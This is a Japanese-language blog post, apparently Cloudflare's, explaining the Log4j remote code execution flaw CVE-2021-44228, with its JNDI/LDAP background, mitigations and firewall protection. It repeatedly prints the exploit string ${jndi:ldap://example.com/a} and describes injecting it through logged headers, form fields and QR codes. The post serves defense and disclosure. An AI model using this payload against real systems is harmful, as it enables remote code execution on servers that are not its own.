このブログ記事の以前のバージョンでは、わずかに異なる緩和技術が推奨されていました。Apache Log4jプロジェクトが公式ガイダンスを更新したため、その推奨事項に沿ってこのブログ記事を更新しました
昨日(2021年12月9日)、一般的なJavaベースのロギングパッケージである Log4j に非常に深刻な脆弱性があることが公表されました。この脆弱性により、攻撃者はリモートサーバー上でコードを実行することができます。いわゆるリモートコード実行(RCE)です。JavaとLog4jは広く使われているため、これは Heartbleed や ShellShock以来、インターネット上で最も深刻な脆弱性の一つと考えられます。
これは CVE-2021-44228 であり、バージョン 2.0-beta-9 から 2.14.1 までの Log4j のバージョン 2 が影響を受けます。これは 2.16.0 で修正されています。
この記事では、この脆弱性の歴史、どのようにして登場したか、Cloudflareがどのようにお客様を保護しているかを説明しています。 当社のファイアウォールサービスによってブロックされていることが確認されている 実際に試みられた悪用の詳細については別のブログ記事をご覧ください。
CloudflareはJavaベースのソフトウェアをいくつか使用しており、当社のチームは、当社のシステムに脆弱性がないこと、またはこの脆弱性が緩和されていることの確認を実施しました。これと並行して、お客様を保護するためのファイアウォールのルールを公開しました。
しかし、お勤めの企業がLog4jを使用したJavaベースのソフトウェアを使用している場合、本文書の残りを読む前に、まずシステムの脆弱性を緩和し保護する方法についてのセクションを読むと良いでしょう。
CVE-2021-44228 の脆弱性を緩和する方法
以下のいずれかの緩和策を実施してください。Java 8(またはそれ以降)のユーザーは、リリース2.16.0にアップグレードしてください。Java 8のユーザーは、リリース2.12.2にアップグレードしてください。
その他、2.16.0以外のリリースでは、 JndiLookup
クラスを クラスパスから削除することができます: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
脆弱性の歴史
2013年、 バージョン2.0-beta9 において、Log4jパッケージは「JNDILookupプラグイン」を問題 LOG4J2-313 で追加しました。この変更がどのような問題を引き起こすかを理解するためには、 JNDI : Java Naming and Directory Interface について少し理解する必要があります。
JNDIは、1990年代後半からJavaに搭載されています。JNDIは、Javaプログラムがディレクトリを通じて(Javaオブジェクトの形で)データを見つけられるようにするディレクトリサービスです。JNDIには、さまざまなディレクトリ・サービスを利用できるようにするサービス・プロバイダー・インターフェース(SPI)がいくつかあります。
例えば、CORBA COS(Common Object Service)、Java RMI(Remote Method Interface)レジストリ、LDAPなどのSPIが存在します。LDAPは非常に一般的なディレクトリサービス(Lightweight Directory Access Protocol)であり、CVE-2021-44228の主要な対象となっています(ただし、他のSPIも使用される可能性があります)。
Javaプログラムは、JNDIとLDAPを併用することで、必要となるデータを含むJavaオブジェクトを検索することができます。例えば、標準的なJavaドキュメントには、 LDAPサーバと通信してオブジェクトから属性を取得する 例 があります。これは、URL ldap://localhost:389/o=JNDITutorialを使用して、同機(localhost)のポート 389 で実行されている LDAP サーバーから JNDITutorial オブジェクトを検索して、そこから属性を読み取るようになっています。
チュートリアルには「 LDAPサーバーが別のマシンにあったり、別のポートを使用している場合は、LDAP URLを編集する必要があります 」と書かれています。このように、LDAPサーバーは別のマシンで動作し、インターネット上のどこにでも存在する可能性があります。この柔軟性は、もし攻撃者がLDAP URLを制御できれば、Javaプログラムに自分のコントロール下にあるサーバーからオブジェクトを読み込ませることができることを意味します。
以上、JNDIとLDAPの基本をご紹介しました。Javaエコシステムの有用な一部となっています。
しかし、Log4jの場合、攻撃者は、Log4jに ${jndi:ldap://example.com/a}のような文字列を書かせようとすることで、LDAP URLを制御することができます。そうなった場合、Log4jはexample.comのLDAPサーバーに接続し、オブジェクトを取得します。
これは、Log4jが${prefix:name}の形式の特殊な構文を含んでいるために起こります。prefixは、nameを評価する必要がある複数の異なるLookupsのいずれかです。例えば、${java:version}は、現在実行中のJavaのバージョンです。
LOG4J2-313では、次のようにjndi Lookupを追加しました。「JndiLookupでは、JNDIを介して変数を取得することができます。デフォルトでは、キーに java:comp/env/ がプレフィックスできますが、キーに「:」が含まれている場合は、プレフィックスは付けられません。」
${jndi:ldap://example.com/a}
のように、キーに「:」が含まれている場合、プレフィックスはなく、LDAPサーバーにオブジェクトを照会します。そして、これらのLookupsは、Log4jの構成と、行がログに記録されるときの両方で使用することができます。
したがって、攻撃者はログに記録される入力を見つけて、 ${jndi:ldap://example.com/a}
のようなものを追加するだけです。これは、User-Agentのような一般的なHTTPヘッダー (一般的にログに記録される) の場合もあれば、usernameのようなフォームパラメータもログに記録される場合もあります。
これは、Log4jを使用するJavaベースのインターネットに面したソフトウェアでは非常によく見られることです。さらに厄介なことに、データがシステムからシステムへと渡されるため、Javaを使用するインターネットに面していないソフトウェアも悪用される可能性があります。
例えば、エクスプロイトを含むUser-Agent文字列が、インデックス作成やデータサイエンスを行うJavaで書かれたバックエンドシステムに渡され、そのエクスプロイトがログに記録されてしまう可能性があります。このような理由から、Log4jバージョン2を使用しているすべてのJavaベースのソフトウェアには、直ちにパッチを適用するか、緩和策を講じることが不可欠です。インターネットに面したソフトウェアがJavaで書かれていなくても、文字列がJavaで書かれた他のシステムに渡され、悪用される可能性があります。
あるいは、Javaベースの課金システムで、顧客のファーストネームが見つからない場合にログを記録する場合を考えてみましょう。悪意のあるユーザーが、このエクスプロイトを含むファーストネームで注文を作成し、複数のホップ(多くの回数)を経て、Webサーバから顧客データベースを経由して課金システムに移動し、最終的に実行される可能性があります。
また、Javaはインターネットに面したシステムだけでなく、様々なシステムに使用されています。例えば、箱に貼られたQRコードをスキャンするパッケージハンドリングシステムや、非接触型のドアキーが、Javaで書かれ、Log4jを使用していれば、どちらにも脆弱性があることは想像に難くありません。あるケースでは、入念に作成されたQRコードに、エクスプロイト文字列を含む郵便アドレスが含まれているかもしれません。他のケースでは、注意深くプログラムされたドア・キーは、エクスプロイトを含み、入退室を記録するシステムによって記録されるかもしれません。
また、周期的に作業を行うシステムでは、エクスプロイトを拾って後で記録する可能性があります。つまり、Javaで書かれたインデックス作成、ロールアップ、アーカイブのプロセスが誤って不正な文字列をログに記録するまで、エクスプロイトは眠っている可能性があるのです。数時間後、あるいは数日後まで。
Cloudflare ファイアウォールプロテクション
Cloudflare は、ファイアウォールを使用しているお客様のために、HTTPリクエストの一般的な場所でjndiルックアップをブロックするルールの形でプロテクションを展開しました。詳細についてはこちらをご覧ください。このルールは、攻撃者がエクスプロイトを変更した際に改良を続けており、今後も継続していきます。